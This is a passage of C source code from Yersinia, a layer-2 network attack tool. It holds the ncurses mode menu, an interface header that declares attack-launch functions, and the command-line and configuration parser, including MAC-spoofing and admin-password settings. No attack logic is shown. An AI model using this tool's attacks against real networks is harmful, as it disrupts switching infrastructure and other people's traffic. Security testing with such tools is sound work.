(param[y-offset_y].type == FIELD_IP) && (((x - origin_x + 1) % 4) == 0)) /* jump */ wmove(my_window, y, x + 1); } break; } } keypad(my_window, FALSE); noecho(); curs_set(0); del_panel(my_panel); delwin(my_window); if (terms->gui_th.stop) return -1; return ret; } /* * Display available modes and let the user choose one! */ int8_t ncurses_i_get_mode(u_int8_t mode, WINDOW *main_window) { WINDOW *win; u_int8_t pointer, i, j, aux[MAX_PROTOCOLS], used, end; int32_t key_pressed, row, col; int8_t result; pointer = 0; used = 0; j = 0; for (i=0; i<MAX_PROTOCOLS; i++) { if (protocols[i].visible) { aux[j]=i; if (i == mode) pointer = j; j++; used++; } } end = 0; result = ERR; ncurses_c_set_status_line(" Choose your life (mode) "); getmaxyx(main_window, row, col); if ((win = derwin(main_window, (used+3), 45, (row-(used+3))/2, (col-45)/2)) == NULL) return ERR; werase(win); keypad(win, TRUE); wattron(win, COLOR_PAIR(5)); box(win, 0, 0); mvwprintw(win, 0, 2, " Choose protocol mode "); mvwprintw(win, used+2, 2, " ENTER to select - ESC/Q to quit "); wtimeout(win,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ while (!terms->gui_th.stop && !end) { i = 0; while (!terms->gui_th.stop && (i < used) ) { if (i == pointer) wattron(win, COLOR_PAIR(5) | A_BOLD); else wattroff(win, COLOR_PAIR(5) | A_BOLD); wmove(win, i+1, 1); whline(win, ' ', 20); mvwprintw(win, i+1, 2, "%-6s %s", protocols[aux[i]].namep, protocols[aux[i]].description); if (i == pointer) wattroff(win, A_BOLD); i++; } wrefresh(win); do { key_pressed = wgetch(win); } while( (key_pressed == ERR) && !terms->gui_th.stop); if (!terms->gui_th.stop) { switch(key_pressed) { case KEY_DOWN: if ( pointer < (used-1)) pointer++; break; case KEY_UP: if (pointer > 0) pointer--; break; case 'Q': case 'q': case 27: end = 1; break; case 13: result = aux[pointer]; end = 1; break; } } } werase(win); wrefresh(main_window); if (delwin(win) == ERR) return ERR; ncurses_c_set_status_line(""); return result; }
C/C++
yersinia/src/ncurses-interface.h
/* ncurses_iallbacks.h * Definitions for the ncurses interfaces * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __NCURSES_INTERFACE_H__ #define __NCURSES_INTERFACE_H__ #if defined(USE_NCURSES) && !defined(RENAMED_NCURSES) #include <ncurses.h> #else #include <curses.h> #endif #ifdef HAVE_PANEL_H #include <panel.h> #endif #include <ctype.h> #include "thread-util.h" #include "terminal-defs.h" #include "admin.h" #include "interfaces.h" #include "attack.h" #include "parser.h" #define ERRORMSG_SIZE 512 #define NCURSES_MIN_ROWS 25 #define NCURSES_MIN_COLS 80 #define NCURSES_REFRESH_TIME 2 #define NCURSES_BWINDOW_SIZE 7 #define NCURSES_MWINDOW_MAX_FIELD_LENGTH 16 #define NCURSES_KEY_TIMEOUT 250 #define KEY_CTRL_L 12 #define PARAM_SCREEN 10 #define LIST_FILECAPS 9 #define LIST_ATTACKS 8 #define IFACE_SCREEN 7 #define MAIN_SCREEN 6 #define SEC_SCREEN 5 #define ATTACK_SCREEN 4 #define INFO_SCREEN 3 #define HELP_SCREEN 2 #define SPLASH_SCREEN 1 #define INFO_HEIGHT 13 #define INFO_WIDTH 44 #define MAX_PAD_HEIGHT 40 #define MAX_PAD_WIDTH 70 #define NCURSES_DEFAULT_MODE PROTO_STP #define VIEW_HEIGHT 15 #define VIEW_WIDTH 68 #if defined (TIOCGWINSZ) && defined (HAVE_NCURSES_RESIZETERM) #define CAN_RESIZE 1 #endif extern u_int8_t pointer[MAX_PROTOCOLS]; extern WINDOW *info_window; int8_t ncurses_i_init(WINDOW *[], PANEL *[], struct term_node *); void ncurses_i_add_node(void); void ncurses_i_splash_screen(WINDOW *, PANEL *); void ncurses_i_help_screen(u_int8_t, WINDOW *, PANEL *); void ncurses_i_attack_screen(struct term_node *, u_int8_t, WINDOW *, PANEL *); int8_t ncurses_i_attack_get_params(struct attack_param *, u_int8_t); /*int8_t ncurses_i_update_fields(struct attack_param *, u_int8_t, int8_t, int8_t);*/ void ncurses_i_get_printable_store(struct attack_param *, u_int8_t); void ncurses_i_ifaces_screen(struct term_node *, WINDOW *, PANEL *); int8_t ncurses_i_show_info(u_int8_t, WINDOW *, u_int8_t, struct term_node *); int8_t ncurses_i_view_packet(u_int8_t, WINDOW *, u_int8_t); void ncurses_i_list_attacks(WINDOW *, struct term_node *); void ncurses_i_list_filecaps(WINDOW *, struct term_node *); int8_t ncurses_i_error_window(u_int8_t, char *, ...); int32_t ncurses_i_popup_window(WINDOW *, const struct tuple_type_desc *, u_int8_t); int8_t ncurses_i_edit_tlv(struct term_node *, u_int8_t); int8_t ncurses_i_add_selected_tlv_type(WINDOW *, struct term_node *, u_int8_t); int8_t ncurses_i_del_selected_tlv(struct term_node *, u_int8_t, u_int8_t); int8_t ncurses_i_getstring_window(struct term_node *, char *, char *, u_int16_t, char *); int32_t ncurses_i_getconfirm(struct term_node *, char *, char *, char *); int8_t ncurses_i_get_mode(u_int8_t, WINDOW *); void resizeHandler(int); /* Global stuff */ extern void thread_error(char *, int8_t); extern u_int32_t uptime; extern struct term_tty *tty_tmp; extern int8_t parser_write_config_file(struct term_tty *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); /* Terminal stuff */ extern struct terminals *terms; extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); /* Attack stuff */ extern int8_t attack_stp_learn_packet(void); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t); extern int8_t attack_kill_th(struct term_node *, pthread_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); extern void attack_free_params(struct attack_param *, u_int8_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/parser.c
/* parser.c * Main command line parser and parser utilities * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include <limits.h> #include <ctype.h> #include "parser.h" static u_int8_t valid_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; /* * Initial command line arguments parser. * Return -1 on error. Return 0 if Ok. * Use global protocol_defs */ int8_t parser_initial(struct term_tty *tty, struct cl_args *cl_args, int argc, char **argv) { int8_t i; for (i=1; i<(argc); i++) { if (!strcmp(argv[i],"-h") || !strcmp(argv[i],"--help")) { parser_help(); break; } else if (!strcmp(argv[i],"-V") || !strcmp(argv[i],"--Version")) { printf("%s %s\n", PACKAGE, VERSION ); return -1; } else if (!strcmp(argv[i],"-I") || !strcmp(argv[i],"--Interactive")) { #ifdef HAS_CURSES tty->interactive = 1; #else printf(" Hmmm... it seems that you don't have ncurses support or Yersinia\n"); printf(" has been configured with --disable-ncurses option...\n"); printf(" Go and get it!!\n\n"); return -1; #endif } else if (!strcmp(argv[i],"-G") || !strcmp(argv[i],"--gtk")) { #ifdef HAVE_GTK tty->gtk = 1; #else printf(" Hmmm... it seems that you don't have gtk support or Yersinia\n"); printf(" has been configured with --disable-gtk option...\n"); printf(" Go and get it!!\n\n"); return -1; #endif } else if (!strcmp(argv[i],"-D") || !strcmp(argv[i],"--Daemon")) { #ifdef HAVE_REMOTE_ADMIN tty->daemonize = 1; #else printf(" Hmmm... it seems that Yersinia has been configured with\n"); printf(" the --disable-admin option...\n"); printf(" Go and get it!!\n\n"); return -1; #endif } else if (!strcmp(argv[i],"-d") || !strcmp(argv[i],"--debug")) { tty->debug = 1; } else if (!strcmp(argv[i], "-c") || !strcmp(argv[i], "--conffile")) { i++; strncpy(tty->config_file, argv[i], sizeof(tty->config_file) - 1 ); } else if (!strcmp(argv[i],"-l") || !strcmp(argv[i],"--logfile")) { i++; if ((tty->log_file = fopen(argv[i], "a+")) == NULL) { printf("%s: Error opening logfile %s\n", argv[0], argv[i]); /* If the logfile cannot be opened, the default is yersinia.log */ if ((tty->log_file = fopen("yersinia.log", "a+")) == NULL) { printf("%s: Error opening logfile 'yersinia.log'\n", argv[0]); return -1; } } } else if (argv[i][0] != '-')/* Ok, it is a protocol...*/ { /* Nonexistant protocol (or not visible)...*/ if (((cl_args->proto_index = protocol_proto2index(argv[i])) < 0)) { printf("%s: Unknown protocol %s!!\n", argv[0], argv[i]); return -1; } cl_args->count = argc-i; cl_args->argv_tmp = &argv[i]; break; } else { printf("%s: Unknown option %s!!\n", argv[0], argv[i]); return -1; } } /* for...*/ if (!tty->log_file) { if ((tty->log_file = fopen("yersinia.log", "a+")) == NULL) { printf("%s: Error opening logfile 'yersinia.log'\n", argv[0]); return -1; } } setvbuf(tty->log_file, NULL, _IONBF, 0); return 0; } /* * Look if *number* of the characters * are digits. * Return -1 on error. Return 0 if Ok. */ int8_t parser_are_digits( int8_t *charac, int8_t number ) { while (number > 0) { if ( !isdigit((int)*charac) ) return -1; charac++; number--; } return 0; } /* * Convert a string to lowercase * Return nothing. */ void parser_str_tolower( char *charac ) { while (*charac) { *charac = (char)tolower((int)*charac); charac++; } } /* * Verify a MAC address... * Return -1 if error */ int8_t parser_vrfy_mac( char *address, u_int8_t *destination ) { char *substr, *aux; u_int8_t data[]={0,0,0}; u_int16_t i=0, j; substr = address; /* trim left spaces (can exist in the configuration file) */ /* while (*substr == ' ') substr++;*/ aux = substr; while ( (substr = strchr(substr, ':') )) { if (substr == aux) return -1; if ( (substr-aux) > (sizeof(data)-1)) return -1; /* Overflowed? */ for(j=0; j<(substr-aux);j++) { if ( !isxdigit((int)(*(aux+j))) ) return -1; data[j]=*(aux+j); } data[j]=0; if ( strtol((char *)data, (char **)NULL, 16) > 255 || strtol((char *)data, (char **)NULL, 16) < 0 ) return -1; destination[i]=strtol((char *)data, (char **)NULL, 16); i++; if (i==6) return -1; substr++; aux=substr; } if (!*aux || (i<5) ) return -1; for(j=0; *aux && !isspace(*aux); j++,aux++) { if ( !isxdigit((int)(*aux)) ) return -1; data[j]=*aux; } data[j]=0; if ( strtol((char *)data, (char **)NULL, 16) > 255 || strtol((char *)data, (char **)NULL, 16) < 0 ) return -1; destination[i] = strtol((char *)data, (char **)NULL, 16); return 0; } /* * Verify a bridge id * Return 1 if error */ int8_t parser_vrfy_bridge_id( char *address, u_int8_t *destination ) { char *substr, *aux; u_int8_t data[]={0,0,0}; u_int16_t i, j, k=0; aux = substr = address; for (i=0; i<2; i++) { for(j=0; j<2;j++) { if ( !isxdigit((int)(*(aux+j))) ) return -1; data[j]=*(aux+j); } data[j]=0; if ( strtol((char *)data, (char **)NULL, 16) > 255 || strtol((char *)data, (char **)NULL, 16) < 0 ) return -1; destination[k]=strtol((char *)data, (char **)NULL, 16); k++; aux+= 2*sizeof(u_char); } if (*aux != '.') return -1; aux++; for (i=0; i<6; i++) { for(j=0; j<2;j++) { if ( !isxdigit((int)(*(aux+j))) ) return -1; data[j]=*(aux+j); } data[j]=0; if ( strtol((char *)data, (char **)NULL, 16) > 255 || strtol((char *)data, (char **)NULL, 16) < 0 ) return -1; destination[k]=strtol((char *)data, (char **)NULL, 16); k++; aux+= 2*sizeof(u_char); } return 0; } /* * Help function. What do you want to do today? */ void parser_help(void) { u_int8_t i, first=1; printf("%s\n", bin_data); printf("\nUsage: %s [-hVGIDd] [-l logfile] [-c conffile] protocol [protocol_options]\n", PACKAGE); printf(" -V Program version.\n"); printf(" -h This help screen.\n"); printf(" -G Graphical mode (GTK).\n"); printf(" -I Interactive mode (ncurses).\n"); printf(" -D Daemon mode.\n"); printf(" -d Debug.\n"); printf(" -l logfile Select logfile.\n"); printf(" -c conffile Select config file.\n"); printf(" protocol One of the following:"); for(i=0; i< MAX_PROTOCOLS; i++) { if (protocols[i].visible) { if (first) { printf(" %s",protocols[i].name_comm); first = 0; } else printf(", %s", protocols[i].name_comm); } } printf(".\n\nTry '%s protocol -h' to see protocol_options help\n\n", PACKAGE); printf("Please, see the man page for a full list of options and many examples.\n"); printf("Send your bugs & suggestions to the Yersinia developers <[email protected]>\n\n"); } /* * */ int8_t parser_command2index(register const struct _attack_definition *attack_def, register int8_t v) { int i=0; while ( attack_def->desc != NULL ) { if ( attack_def->v == v ) return (i); ++attack_def; ++i; } return (i); } int8_t parser_get_formated_inet_address(u_int32_t in, char *inet, u_int16_t inet_len) { char *p; u_int32_t aux_long; aux_long = htonl(in); p = (char *)&aux_long; if (snprintf(inet, inet_len,"%03d.%03d.%03d.%03d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)) < 0) return -1; return 0; } int8_t parser_get_formated_inet_address_fill(u_int32_t in, char *inet, u_int16_t inet_len, int8_t fill_up) { char *p; u_int32_t aux_long; aux_long = htonl(in); p = (char *)&aux_long; if (fill_up) { if (snprintf(inet, inet_len,"%03d.%03d.%03d.%03d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)) < 0) return -1; } else { if (snprintf(inet, inet_len,"%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)) < 0) return -1; } return 0; } int8_t parser_get_inet_aton(char *inet, struct in_addr *in) { char *stripped_ip, *tmp, dots=0; char st[4]; char *save_pointer; u_int8_t i, j; if ( (strlen(inet) < 7) || (strlen(inet)>15) ) return -1; if ( (inet[0] == '.') || (inet[strlen(inet)-1] == '.') || (!isdigit(inet[0])) || (!isdigit(inet[strlen(inet)-1])) ) return -1; for (i=1; i< (strlen(inet)-1); i++) { if (inet[i] == '.') { dots++; if (inet[i+1] == '.') return -1; } else { if (!isdigit(inet[i])) return -1; } } if (dots!=3) return -1; if ((stripped_ip = calloc(1, 16)) == NULL) { write_log(0, "Error in calloc"); return -1; } memcpy((void *)stripped_ip, (void *)inet, strlen(inet)); j = 0; tmp = strtok_r(stripped_ip, ".", &save_pointer); for (i=0; i < 4; i++) { if (tmp) { snprintf(st, 4, "%d", atoi(tmp)); memcpy((void *)(stripped_ip + j), (void *)st, strlen(st)); j += strlen(st); if (i < 3) { stripped_ip[j] = '.'; j++; } else stripped_ip[j] = '\0'; tmp = strtok_r(NULL, ".", &save_pointer); } } if (inet_aton(stripped_ip, in) <= 0) { free(stripped_ip); write_log(0, "Error in inet_aton\n"); return -1; } free(stripped_ip); return 0; } int8_t parser_get_random_string(u_int8_t *string, u_int8_t len) { u_int8_t total, j; struct timeval tv; #ifdef HAVE_RAND_R u_int32_t i; #endif total = 0; if (!string) return -1; while (total < len-1) { if (gettimeofday(&tv, NULL) < 0) { thread_error("Error in gettimeofday", errno); return -1; } #ifdef HAVE_RAND_R i = (u_int32_t)tv.tv_usec; j = rand_r(&i); #else if (pthread_mutex_lock(&terms->mutex_rand) != 0) { thread_error("get_random_string pthread_mutex_lock()",errno); return -1; } j=rand(); if (pthread_mutex_unlock(&terms->mutex_rand) != 0) { thread_error("get_random_string pthread_mutex_unlock()",errno); return -1; } #endif j = j % (sizeof(valid_chars) - 1); string[total] = valid_chars[j]; total++; } string[len-1] = '\0'; return 0; } int8_t parser_get_random_int(u_int8_t max) { u_int8_t j; struct timeval tv; #ifdef HAVE_RAND_R u_int32_t i; #endif if (gettimeofday(&tv, NULL) < 0) { thread_error("Error in gettimeofday", errno); return -1; } #ifdef HAVE_RAND_R i = (u_int32_t)tv.tv_usec; j = rand_r(&i); #else if (pthread_mutex_lock(&terms->mutex_rand) != 0) { thread_error("get_random_int pthread_mutex_lock()",errno); return -1; } j=rand(); if (pthread_mutex_unlock(&terms->mutex_rand) != 0) { thread_error("get_random_int pthread_mutex_unlock()",errno); return -1; } #endif j = j % max; return j; } int8_t parser_read_config_file(struct term_tty *tty, struct term_node *node) { FILE *file; char buffer[BUFSIZ], *ptr, *ptr2; u_int8_t state, i; int16_t proto; struct commands_param *params; params = NULL; state = 0; proto = -1; if ((file = fopen(tty->config_file, "r")) == NULL) { write_log(1, "Error opening configuration file %s\n", tty->config_file); return -1; } while(fgets(buffer, BUFSIZ,file) != NULL) { /* trim any initial space */ ptr = buffer; while((*ptr == ' ') || (*ptr == '\t')) ptr++; if ((*ptr == '\n') || (*ptr == '#')) /* Move to the next line */ continue; switch(state) { case 0: /* State 0. Tokens allowed: global, protocol */ if (strncmp(ptr, "<global>", 8) == 0) { /* Global options */ proto = 666; state = 1; } else { if (strncmp(ptr, "<protocol", 9) == 0) { /* Protocol options */ proto = -1; for (i = 0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) { if ( strncasecmp(protocols[i].namep, (ptr + 10), strlen( protocols[i].namep ) ) == 0 ) { proto = protocols[i].proto; params = (struct commands_param *) protocols[proto].parameters; } } } if (proto < 0) { write_log(1, "Error when parsing file %s, there is no %s protocol (or not visible)!!\n", tty->config_file, (ptr + 10)); fclose( file ); return -1; } state = 2; } } break; case 1: /* State 1: global options */ if (strncmp(ptr, "</global>", 9) == 0) { state = 0; continue; } if (strncmp(ptr, "mac_spoofing", 12) == 0) { ptr += strlen("mac_spoofing"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); fclose( file ); return -1; } tty->mac_spoofing = atoi(ptr + 1); } else if (strncmp(ptr, "splash", 6) == 0) { ptr += strlen("splash"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); fclose( file ); return -1; } tty->splash = atoi(ptr + 1); } else if (strncmp(ptr, "port", 4) == 0) { ptr += strlen("port"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); fclose( file ); return -1; } tty->port = atoi(ptr + 1); } else if (strncmp(ptr, "username", 8) == 0) { ptr += strlen("username"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); fclose( file ); return -1; } ptr++; /* Trim all the spaces */ while(*ptr == ' ') ptr++; /* Trim the \n */ ptr2 = ptr; while (*ptr2 != '\0') if (*ptr2 == '\n') *ptr2 = '\0'; else ptr2++; strncpy(tty->username, ptr, MAX_USERNAME); } else if (strncmp(ptr, "password", 8) == 0) { ptr += strlen("password"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); fclose( file ); return -1; } ptr++; /* Trim all the spaces */ while(*ptr == ' ') ptr++; /* Trim the \n */ ptr2 = ptr; while (*ptr2 != '\0') if (*ptr2 == '\n') *ptr2 = '\0'; else ptr2++; strncpy(tty->password, (ptr), MAX_PASSWORD); } else if (strncmp(ptr, "enable", 6) == 0) { ptr += strlen("enable"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); fclose( file ); return -1; } ptr++; /* Trim all the spaces */ while(*ptr == ' ') ptr++; /* Trim the \n */ ptr2 = ptr; while (*ptr2 != '\0') if (*ptr2 == '\n') *ptr2 = '\0'; else ptr2++; strncpy(tty->e_password, (ptr), MAX_PASSWORD); } else if (strncmp(ptr, "hosts", 5) == 0) { u_int8_t gotit=0; ptr += strlen("hosts"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); fclose( file ); return -1; } ptr++; while(!gotit) { /* Trim all the spaces */ while((*ptr == ' ')||(*ptr == '\t')) ptr++; ptr2 = ptr; while ((*ptr != '\0') && (*ptr != ' ') && (*ptr != '\t')) { if (*ptr == '\n') { *ptr = '\0'; gotit=1; } else ptr++; } if ((*ptr == ' ') || (*ptr == '\t')) { *ptr = '\0'; ptr++; } if (ptr != ptr2) if (parser_vrfy_ip2filter(ptr2,tty) < 0 ) { write_log(1,"Parse error: error parsing IP address '%s'\n",ptr2); parser_free_ip2filter(tty->ip_filter); fclose( file ); return -1; } } } else { write_log(1, "Parse error: %s is not a global option\n", ptr); fclose( file ); return -1; } break; case 2: /* State 2: protocol options */ if (strncmp(ptr, "</protocol>", 11) == 0) { state = 0; continue; } /* Now find any possible field */ i = 0; while(i < protocols[proto].nparams) { if (strncasecmp(params[i].ldesc, ptr, strlen(params[i].ldesc)) == 0) { ptr += strlen(params[i].ldesc); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); fclose( file ); return -1; } ptr++; /* Trim all the spaces */ while(*ptr == ' ') ptr++; /* For the hex: if exists 0x, then delete! */ if ((*ptr == '0') && (*(ptr+1) == 'x')) { ptr++; ptr++; } /* Trim the \n */ if (ptr[strlen(ptr) - 1] == '\n') ptr[strlen(ptr) - 1] = '\0'; write_log(0, "tengo %s, %d, %s, %d\n", params[i].ldesc, params[i].type, ptr, params[i].size_print); if ((strlen(ptr)) && (parser_filter_param(params[i].type, node->protocol[proto].commands_param[i], ptr, params[i].size_print,params[i].size) < 0)) { write_log(0, "Error when parsing %s: %s\n", params[i].ldesc, ptr); fclose( file ); return -1; } /* jump out */ break; } i++; } /* No success */ if (i == protocols[proto].nparams) { write_log(1, "Parse error: there is no %s field in %s protocol\n", ptr, protocols[proto].namep); fclose(file); return -1; } break; } } if (fclose(file) != 0) { write_log(1, "Error closing configuration file %s\n", tty->config_file); return -1; } return 0; } int8_t parser_write_config_file(struct term_tty *tty) { FILE *file; u_int8_t i, j, k; char **values; char temp[6]; struct filter *cursor; struct commands_param *params; if ((file = fopen(tty->config_file, "w+")) == NULL) { write_log(0, "Error opening configuration file %s\n", tty->config_file); return -1; } fputs("#\n", file); fputs("# Yersinia configuration file example\n", file); fputs("#\n", file); fputs("# Please read the README and the man page before complaining\n", file); fputs("\n", file); fputs("# Global options\n", file); fputs("<global>\n", file); fputs("# MAC Spoofing\n", file); fputs("mac_spoofing = 1\n", file); fputs("# Active interfaces\n", file); fputs("#interfaces = eth0, eth1\n", file); fputs("# Hosts allowed to connect to the network daemon\n", file); fputs("# Examples: www.microsoft.com 192.168.1.0/24 10.31-128.*.13 100.200.*.* 2-20.*.*.10-11\n",file); cursor = tty->ip_filter; if (!cursor) fputs("hosts = localhost", file); else fputs("hosts =", file); while(cursor) { fputs(" ",file); fputs(cursor->expression,file); cursor = cursor->next; } fputs("\n",file); fputs("# Propaganda. It's cool, so please, don't disable it!! :-P\n", file); fputs("splash = 1\n", file); fputs("# Username for the admin mode\n", file); fputs("username = ", file); fputs(tty->username, file); fputs("\n", file); fputs("# Password for the admin mode\n", file); fputs("password = ", file); fputs(tty->password, file); fputs("\n", file); fputs("# Enable password for the admin mode\n", file); fputs("enable = ", file); fputs(tty->e_password, file); fputs("\n", file); fputs("# Daemon port\n", file); fputs("port = ", file); snprintf(temp, 6, "%hd", tty->port); fputs(temp, file); fputs("\n", file); fputs("</global>\n\n", file); for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; params = (struct commands_param *) protocols[i].parameters; fputs("<protocol ", file); fputs(protocols[i].namep, file); fputs(">\n", file); if (protocols[i].get_printable_store == NULL) { write_log(0, "printable_store in protocol %d is NULL\n", i); } if (protocols[i].get_printable_store) { if ((values = (*protocols[i].get_printable_store)(NULL)) == NULL) { write_log(0, "Error in get_printable_store\n"); fclose( file ); return -1; } k = 0; for (j = 0; j < protocols[i].nparams; j++) { if ((params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_IFACE) && (params[j].type != FIELD_EXTRA)) { fputs(params[j].ldesc, file); fputs(" = ", file); switch(params[j].type) { case FIELD_HEX: fputs("0x", file); break; default: break; } fputs(values[k], file); fputs("\n", file); k++; } } fputs("</protocol>\n\n", file); j = 0; if (values) while(values[j]) { free(values[j]); j++; } free(values); } else fputs("</protocol>\n\n", file); } if (fclose(file) != 0) { write_log(1, "Error closing configuration file %s\n", tty->config_file); return -1; } return 0; } /* ============================================ */ /* Mask and convert digit to hex representation */ /* Output range is 0..9 and a..f only */ int hexify(unsigned int value) { int result; result = (value & 0x0f) + '0'; if (result > '9') result = result + ('a' - '0' - 10); return result; } /* hexify */ /* ========================================= */ /* convert number to string in various bases */ /* 2 <= base <= 16, controlled by hexify() */ /* Output string has ls digit first. */ void parser_basedisplay(u_int8_t number, u_int8_t base, char * string, size_t maxlgh) { /* assert (string[maxlgh]) is valid storage */ if (!maxlgh) { *string = '\0'; return; } else { *string = hexify(number % base); if (!number) *string = '\0'; else { parser_basedisplay(number / base, base, &string[1], maxlgh - 1); } } } /* basedisplay */ /* ======================= */ /* reverse string in place */ void revstring(char * string) { char * last, temp; last = string + strlen(string); /* points to '\0' */ while (last-- > string) { temp = *string; *string++ = *last; *last = temp; } } /* revstring */ /* * Verify an expression in order to add it to * the linked list of ip filters * All data will be stored in Host Byte Order * Expressions allowed are: * 1- CIDR notation: 10.20.30.0/24 * 2- Wildcard use: 10.20.30.* * 3- Range use: 10.20.30.0-255 * 4- Range with wildcard: 10.20.20-30.* * 5- IP as usual: 10.20.30.40 * 6- Hostname: www.bloblob.xx * * Return 0 on success. -1 on error */ int8_t parser_vrfy_ip2filter(char *expr, struct term_tty *tty) { union bla { u_int32_t all; u_int8_t byte[4]; }; union bla numbegin, numend; char *expr2, *str[4], *ip, *aux, *aux2; u_int8_t bits, dots, name, wildcard; u_int32_t auxl, beginl, endl,i; numbegin.all = 0; numend.all = 0; expr2 = strdup(expr); if (expr2 == NULL) { write_log(1,"strdup error!!\n"); return -1; } ip = expr2; aux = strchr(ip, '/'); if (aux == NULL) /* No CIDR expression */ { /* How many dots? */ dots = 0; aux2 = ip; name = wildcard = 0; for (i=1; i< (strlen(aux2)-1); i++) { if (aux2[i] == '.') { dots++; if (aux2[i+1] == '.') { free(expr2); return -1; } } else { if (!isdigit(aux2[i])) { if ((aux2[i]=='*') || (aux2[i]=='-')) wildcard = 1; else { name=1; break; } } } } if (name || (!name && !wildcard)) /* We have a name or a IP address */ { struct hostent *namehost; namehost = gethostbyname(aux2); if (namehost == NULL) { write_log(1,"Parse error: Unable to resolve '%s'!! Anyway we'll go on with the rest of the addresses...\n",aux2); free(expr2); return 0; } memcpy((char *)&auxl, namehost->h_addr_list[0], sizeof(struct in_addr)); auxl = ntohl(auxl); beginl = endl = auxl; } else /* We have an expression with '*' or '-'*/ { char *aux3=NULL, *aux4=NULL; if (dots!=3) { free(expr2); return -1; } for(i=0; i< 4; i++) { aux3 = strchr(aux2,'.'); if (aux3!=NULL) *aux3 = '\0'; str[i] = aux2; if ( (strchr(str[i],'*') != NULL) && (strchr(str[i],'-') != NULL) ) { free(expr2); return -1; } if ( (aux4 = strchr(str[i],'*')) == NULL) { if ( (aux4 = strchr(str[i],'-')) == NULL) { if (strlen(str[i]) > 3) { free(expr2); return -1; } numbegin.byte[i] = atoi(str[i]); numend.byte[i] = numbegin.byte[i]; } else /* We have '-' token... */ { char *aux5=NULL; if ( strlen(str[i]) > 7) { free(expr2); return -1; } aux5 = str[i]; if (aux5 == aux4) /* Value = '-xxx' or '-' */ { numbegin.byte[i] = 0; if (strlen(aux5) == 1) numend.byte[i] = 255; else { aux4++; numend.byte[i]=atoi(aux4); } } else /* Value = 'x-' or 'x-x' */ { if ( *(aux5+strlen(str[i])-1) == '-') /* Case 'x-' */ { *aux4 = '\0'; numbegin.byte[i] = atoi(aux5); numend.byte[i] = 255; } else /* Case 'x-x' */ { *aux4 = '\0'; aux4++; numbegin.byte[i] = atoi(aux5); numend.byte[i] = atoi(aux4); } } } } else /* We have '*' token */ { if (strlen(str[i]) > 1) { free(expr2); return -1; } numbegin.byte[i] = 0; numend.byte[i] = 255; } if ( aux3 ) aux2 = ++aux3; } /* for...*/ for(i=0;i<4;i++) { if (numbegin.byte[i] > numend.byte[i]) { free(expr2); return -1; } } beginl = ntohl(numbegin.all); endl = ntohl(numend.all); } } else /* We have a CIDR expression */ { *aux = '\0'; aux++; if ((aux=='\0') || (strlen(aux)>2)) { free(expr2); return -1; } bits = atoi(aux); if (bits>32) { free(expr2); return -1; } if (!inet_aton(ip, (struct in_addr *)&auxl)) { free(expr2); return -1; } 